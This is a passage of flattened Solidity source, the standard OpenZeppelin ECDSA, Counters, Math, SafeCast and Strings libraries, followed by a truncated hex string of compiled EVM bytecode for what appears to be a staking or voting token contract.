_hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } }
0x608060405234801561001057600080fd5b50600436106102745760003560e01c80637ecebe0011610151578063c75ebb82116100c3578063f1127ed811610087578063f1127ed81461054c578063f21c150c14610589578063f2fde38b14610591578063f3ae2415146105a4578063fb29238b146105b7578063ffc9896b146105f657600080fd5b8063c75ebb82146104f2578063d0ebdbe714610505578063d505accf14610518578063dd62ed3e1461052b578063ede524941461053957600080fd5b8063a457c2d711610115578063a457c2d7146102ac578063a694fc3a146104b1578063a9059cbb146102ac578063ae997d70146104c4578063b711c5bc146104d7578063c3cda520146104df57600080fd5b80637ecebe001461045f5780638da5cb5b146104725780638e539e8c1461048357806395d89b41146104965780639ab24eb01461049e57600080fd5b806339509351116101ea57806366805de5116101ae57806366805de5146103c45780636f307dc3146103cc5780636fcfff45146103f357806370a082311461041b578063715018a6146104445780637776768f1461044c57600080fd5b806339509351146102ac5780633a46b1a81461036a5780634e71d92d1461037d578063587cde1e146103855780635c19a95c146103b157600080fd5b806323b872dd1161023c57806323b872dd1461030c5780632e1a7d4d1461031a578063313ce5671461032d5780633276a60f1461033c5780633644e5151461034f578063377e32e61461035757600080fd5b80630501d5561461027957806306fdde031461028e578063095ea7b3146102ac5780630ac6702a146102cf57806318160ddd146102fa575b600080fd5b61028c610287366004612cdc565b610651565b005b6102966106df565b6040516102a39190612dac565b60405180910390f35b6102bf6102ba366004612c1e565b610771565b60405190151581526020016102a3565b600c546102e2906001600160a01b031681565b6040516001600160a01b0390911681526020016102a3565b6002545b6040519081526020016102a3565b6102bf6102ba366004612b7a565b61028c610328366004612d14565b610777565b604051601281526020016102a3565b61028c61034a366004612d44565b6107a3565b6102fe610819565b61028c610365366004612b2e565b610828565b6102fe610378366004612c1e565b61085b565b61028c6108d7565b6102e2610393366004612b2e565b6001600160a01b039081166000908152600660205260409020541690565b61028c6103bf366004612b2e565b610902565b61028c61090c565b6102e27f0000000000000000000000008f9a5bd715c553a94eaf0c67ebd2a8ae2ad60f9e81565b610406610401366004612b2e565b6109a7565b60405163ffffffff90911681526020016102a3565b6102fe610429366004612b2e565b6001600160a01b031660009081526020819052604090205490565b61028c6109c9565b600b546102e2906001600160a01b031681565b6102fe61046d366004612b2e565b6109fd565b6009546001600160a01b03166102e2565b6102fe610491366004612d14565b610a1b565b610296610a77565b6102fe6104ac366004612b2e565b610a86565b61028c6104bf366004612d14565b610b1b565b61028c6104d2366004612b2e565b610c2e565b61028c610c91565b61028c6104ed366004612c47565b610e31565b6102fe610500366004612b2e565b610f67565b61028c610513366004612b2e565b610f74565b61028c610526366004612bb5565b610fa7565b6102fe6102ba366004612b48565b61028c610547366004612d65565b61110b565b61055f61055a366004612c9e565b6111ce565b60408051825163ffffffff1681526020928301516001600160e01b031692810192909252016102a3565b6102fe611260565b61028c61059f366004612b2e565b61126c565b6102bf6105b2366004612b2e565b611304565b600e54600f54601054601154601254601354604080519687526020870195909552938501929092526060840152608083015260a082015260c0016102a3565b610636610604366004612b2e565b6001600160a01b0316600090815260146020908152604080832054601583528184205460169093529220549192909190565b604080519384526020840192909252908201526060016102a3565b6009546001600160a01b031633146106845760405162461bcd60e51b815260040161067b90612ddf565b60405180910390fd5b6009805460ff60a01b1916600160a01b831515908102919091179091556040805133815260208101929092527fef4f29489278bb948f2bf4c4b43ecf63d320bd27e96bca0566354fdfbad96fb691015b60405180910390a150565b6060600380546106ee90612eae565b80601f016020809104026020016040519081016040528092919081815260200182805461071a90612eae565b80156107675780601f1061073c57610100808354040283529160200191610767565b820191906000526020600020905b81548152906001019060200180831161074a57829003601f168201915b5050505050905090565b60008080fd5b601054610797576040516350f7da1560e11b815260040160405180910390fd5b6107a08161133b565b50565b6107ac33611304565b6107c95760405163605919ad60e11b815260040160405180910390fd5b6107d4600d8261144a565b600e829055604080518281526020810184905233917fc46f77f1cc704db24b96e89a9b0a7cf01f40697fd66498005bf9a01eee48bb6491015b60405180910390a25050565b600061082361147e565b905090565b6009546001600160a01b031633146108525760405162461bcd60e51b815260040161067b90612ddf565b6107a081611538565b60004382106108ac5760405162461bcd60e51b815260206004820152601f60248201527f4552433230566f7465733a20626c6f636b206e6f7420796574206d696e656400604482015260640161067b565b6001600160a01b03831660009081526007602052604090206108ce908361159e565b90505b92915050565b6010546108f7576040516350f7da1560e11b815260040160405180910390fd5b61090033611677565b565b6107a03382611814565b6009546001600160a01b031633146109365760405162461bcd60e51b815260040161067b90612ddf565b60175460ff1661095957604051631cdde67b60e01b815260040160405180910390fd5b426011556017805461ffff191661010017905560408051338152600160208201527fd7db87a6b8aa22d17ca92ea752962946b1ee14c9c1755604a056418d3ad97d1c910160405180910390a1565b6001600160a01b0381166000908152600760205260408120546108d190611893565b6009546001600160a01b031633146109f35760405162461bcd60e51b815260040161067b90612ddf565b61090060006118fc565b6001600160a01b0381166000908152600560205260408120546108d1565b6000438210610a6c5760405162461bcd60e51b815260206004820152601f60248201527f4552433230566f7465733a20626c6f636b206e6f7420796574206d696e656400604482015260640161067b565b6108d160088361159e565b6060600480546106ee90612eae565b6001600160a01b0381166000908152600760205260408120548015610b08576001600160a01b0383166000908152600760205260409020610ac8600183612e6b565b81548110610ae657634e487b7160e01b600052603260045260246000fd5b60009182526020909120015464010000000090046001600160e01b0316610b0b565b60005b6001600160e01b03169392505050565b601054610b3b576040516350f7da1560e11b815260040160405180910390fd5b60175460ff16610b5e57604051631cdde67b60e01b815260040160405180910390fd5b80610b7c5760405163162908e360e11b815260040160405180910390fd5b610b87600d3361194e565b610b9133826119fd565b503360009081526016602052604081208054839290610bb1908490612e14565b909155505060128054829190600090610bcb908490612e14565b9091555050336000818152601460209081526040808320546016835292819020548151868152928301939093528101919091527ff556991011e831bcfac4f406d547e5e32cdd98267efab83935230d5f8d02c4469060600160405180910390a250565b6001600160a01b03811633146108525760405162461bcd60e51b815260206004820152602260248201527f43616e206f6e6c792072656e6f756e6365206d616e6167657220666f72207365604482015261363360f11b606482015260840161067b565b6009546001600160a01b03163314610cbb5760405162461bcd60e51b815260040161067b90612ddf565b600c54600b546000916001600160a01b0391821691161415610d6657601254600c546040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b158015610d1d57600080fd5b505afa158015610d31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d559190612d2c565b610d5f9190612e6b565b9050610de4565b600c546040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b158015610da957600080fd5b505afa158015610dbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de19190612d2c565b90505b600c54610dfb906001600160a01b03163383611a3e565b60408051338152602081018390527f40a999c547e777925d554a2673d8e2a2c0788390a91a9836f59b2d893e85034891016106d4565b83421115610e815760405162461bcd60e51b815260206004820152601d60248201527f4552433230566f7465733a207369676e61747572652065787069726564000000604482015260640161067b565b604080517fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60208201526001600160a01b038816918101919091526060810186905260808101859052600090610efb90610ef39060a00160405160208183030381529060405280519060200120611aa6565b858585611af4565b9050610f0681611b1c565b8614610f545760405162461bcd60e51b815260206004820152601960248201527f4552433230566f7465733a20696e76616c6964206e6f6e636500000000000000604482015260640161067b565b610f5e8188611814565b50505050505050565b60006108d1600d83611b44565b6009546001600160a01b03163314610f9e5760405162461bcd60e51b815260040161067b90612ddf565b6107a081611bff565b83421115610ff75760405162461bcd60e51b815260206004820152601d60248201527f45524332305065726d69743a206578706972656420646561646c696e65000000604482015260640161067b565b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98888886110268c611b1c565b6040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810186905260e001604051602081830303815290604052805190602001209050600061108182611aa6565b9050600061109182878787611af4565b9050896001600160a01b0316816001600160a01b0316146110f45760405162461bcd60e51b815260206004820152601e60248201527f45524332305065726d69743a20696e76616c6964207369676e61747572650000604482015260640161067b565b6110ff8a8a8a611c67565b50505050505050505050565b6009546001600160a01b031633146111355760405162461bcd60e51b815260040161067b90612ddf565b60175460ff6101009091041615156001141561116457604051631578538d60e01b815260040160405180910390fd5b600080611174600d868686611d8b565b6017805460ff19166001179055604080518881526020810184905290810182905291935091507f81fd1d59cc9507125b21e058eb609385cb7fffe3650dc38f983aa3c777f3f7b89060600160405180910390a15050505050565b60408051808201909152600080825260208201526001600160a01b0383166000908152600760205260409020805463ffffffff841690811061122057634e487b7160e01b600052603260045260246000fd5b60009182526020918290206040805180820190915291015463ffffffff8116825264010000000090046001600160e01b0316918101919091529392505050565b6000610823600d611dd5565b6009546001600160a01b031633146112965760405162461bcd60e51b815260040161067b90612ddf565b6001600160a01b0381166112fb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161067b565b6107a0816118fc565b6001600160a01b0381166000908152600a602052604081205460ff16806108d15750506009546001600160a01b0391821691161490565b806000198114156113585750336000908152601660205260409020545b3360009081526016602052604090205481111561139d57336000908152601660205260409081902054905163cebd519360e01b8152600481019190915260240161067b565b6113a8600d3361194e565b33600090815260166020526040812080548392906113c7908490612e6b565b9091555050601280548291906000906113e1908490612e6b565b909155506113f190503382611e68565b50336000818152601460209081526040808320546016835292819020548151868152928301939093528101919091527f02f25270a4d87bea75db541cdfe559334a275b4a233520ed6c0a2429667cca949060600161080d565b61145382611dd5565b6002830155426006830181905560038301819055611472908290612e14565b82600401819055505050565b60007f00000000000000000000000000000000000000000000000000000000000000014614156114cd57507f354721937aac8d2a2f23126ee70db0663064c7713e303580f712a8441e58b58590565b6108237f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7fbab7d1e9912d7cd09a78d5027da1c2e9dbd2124e2c41cc106ab2ce6401e4ab027fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6611e9f565b61154181611304565b156107a0576001600160a01b0381166000818152600a6020908152604091829020805460ff191690558151338152908101929092527f142c2a791096690a19ea18712757698bee1e23180c084e221726a4a96e027a7b91016106d4565b8154600090815b818110156116105760006115b98284611ee9565b9050848682815481106115dc57634e487b7160e01b600052603260045260246000fd5b60009182526020909120015463ffffffff1611156115fc5780925061160a565b611607816001612e14565b91505b506115a5565b81156116625784611622600184612e6b565b8154811061164057634e487b7160e01b600052603260045260246000fd5b60009182526020909120015464010000000090046001600160e01b0316611665565b60005b6001600160e01b031695945050505050565b600954600160a01b900460ff161515600114156116a75760405163358bc0db60e11b815260040160405180910390fd5b60006116b4600d83611b44565b9050806116d457604051632706c9e160e21b815260040160405180910390fd5b6001600160a01b0382166000908152601560205260408120556116f7600d611dd5565b6001600160a01b03808416600090815260146020526040902091909155600c5461172391168383611a3e565b600c546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a082319060240160206040518083038186803b15801561176757600080fd5b505afa15801561177b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061179f9190612d2c565b600b54600c549192506001600160a01b03918216911614156117cb576012546117c89082612e6b565b90505b60408051838152602081018390526001600160a01b038516917f34fcbac0073d7c3d388e51312faf357774904998eeb8fca628b9e6f65ee1cbf7910160405180910390a2505050565b6001600160a01b038281166000818152600660208181526040808420805485845282862054949093528787166001600160a01b03198416811790915590519190951694919391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a461188d828483611f04565b50505050565b600063ffffffff8211156118f85760405162461bcd60e51b815260206004820152602660248201527f53616665436173743a2076616c756520646f65736e27742066697420696e203360448201526532206269747360d01b606482015260840161067b565b5090565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6119588282611b44565b6001600160a01b038216600090815260088401602052604090205561197c82611dd5565b6001600160a01b038216600090815260078401602052604090208190556002830155600482015442106119b35781600401546119b5565b425b60068301556002820154600583015460405133927f28a694a51ab9a1b640ac10c5bff2e688efea56c330c01ac8eb9318aa2cd09fdf9261080d92918252602082015260400190565b6000611a2b7f0000000000000000000000008f9a5bd715c553a94eaf0c67ebd2a8ae2ad60f9e333085612041565b611a358383612079565b50600192915050565b6040516001600160a01b038316602482015260448101829052611aa190849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612087565b505050565b60006108d1611ab361147e565b8360405161190160f01b6020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b6000806000611b0587878787612159565b91509150611b1281612243565b5095945050505050565b6001600160a01b03811660009081526005602052604090208054600181018255905b50919050565b6001600160a01b0381166000908152600783016020526040812054611b6b575060006108d1565b6001600160a01b0382166000908152600784016020526040812054611b8f85611dd5565b611b999190612e6b565b6001600160a01b0384166000908152600986016020526040812054919250633b9aca00611bc68484612e4c565b611bd09190612e2c565b6001600160a01b0386166000908152600888016020526040902054611bf59190612e14565b9695505050505050565b611c0881611304565b6107a0576001600160a01b0381166000818152600a6020908152604091829020805460ff191660011790558151338152908101929092527f8d235c6c97ff1b07a41b6b8ac6ea040a6a6b411b20a0f02f02946fa45590bcfc91016106d4565b6001600160a01b038316611cc95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161067b565b6001600160a01b038216611d2a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161067b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001840183905560038401829055600080611da68385612e14565b6004870181905560068701859055670de0b6b3a764000060028801556003870154925090505b94509492505050565b60008082600401544210611ded578260040154611def565b425b90506000836006015482611e039190612e6b565b600585015490915081611e1b57505050506002015490565b80611e2b57505050506002015490565b600081866001015484611e3e9190612e4c565b611e4c90633b9aca00612e4c565b611e569190612e2c565b9050808660020154611bf59190612e14565b6000611e743383612444565b611a357f0000000000000000000000008f9a5bd715c553a94eaf0c67ebd2a8ae2ad60f9e8484611a3e565b6040805160208101859052908101839052606081018290524660808201523060a082015260009060c0016040516020818303038152906040528051906020012090505b9392505050565b6000611ef86002848418612e2c565b6108ce90848416612e14565b816001600160a01b0316836001600160a01b031614158015611f265750600081115b15611aa1576001600160a01b03831615611fb4576001600160a01b03831660009081526007602052604081208190611f619061244e8561245a565b91509150846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248383604051611fa9929190918252602082015260400190565b60405180910390a250505b6001600160a01b03821615611aa1576001600160a01b03821660009081526007602052604081208190611fea906125fd8561245a565b91509150836001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248383604051612032929190918252602082015260400190565b60405180910390a25050505050565b6040516001600160a01b038085166024830152831660448201526064810182905261188d9085906323b872dd60e01b90608401611a6a565b6120838282612609565b5050565b60006120dc826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166126939092919063ffffffff16565b805190915015611aa157808060200190518101906120fa9190612cf8565b611aa15760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161067b565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156121905750600090506003611dcc565b8460ff16601b141580156121a857508460ff16601c14155b156121b95750600090506004611dcc565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561220d573d6000803e3d6000fd5b5050604051601f19015191505060016